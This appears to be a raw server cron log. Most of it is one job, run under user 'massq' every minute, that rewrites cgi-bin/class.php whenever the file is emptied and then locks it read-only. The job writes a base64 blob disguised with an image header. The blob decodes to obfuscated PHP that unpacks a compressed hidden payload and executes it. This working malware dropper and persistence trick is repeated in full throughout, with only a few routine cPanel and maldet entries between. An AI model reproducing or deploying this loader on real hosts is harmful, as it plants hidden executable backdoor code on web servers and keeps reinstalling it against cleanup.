Nov 14 23:13:01 server CROND[5063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:14:01 server CROND[5879]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:15:01 server CROND[6278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:15:01 server CROND[6279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:15:01 server CROND[6280]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:16:01 server CROND[7352]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:17:01 server CROND[8277]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:18:01 server CROND[9357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:19:01 server CROND[10222]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:20:01 server CROND[11202]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:20:01 server CROND[11206]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 23:20:01 server CROND[11216]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 23:20:01 server CROND[11214]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:20:01 server CROND[11221]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:21:01 server CROND[11832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:22:01 server CROND[12103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:23:01 server CROND[12803]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:24:01 server CROND[13719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:25:02 server CROND[14661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:25:02 server CROND[14662]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:25:02 server CROND[14663]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
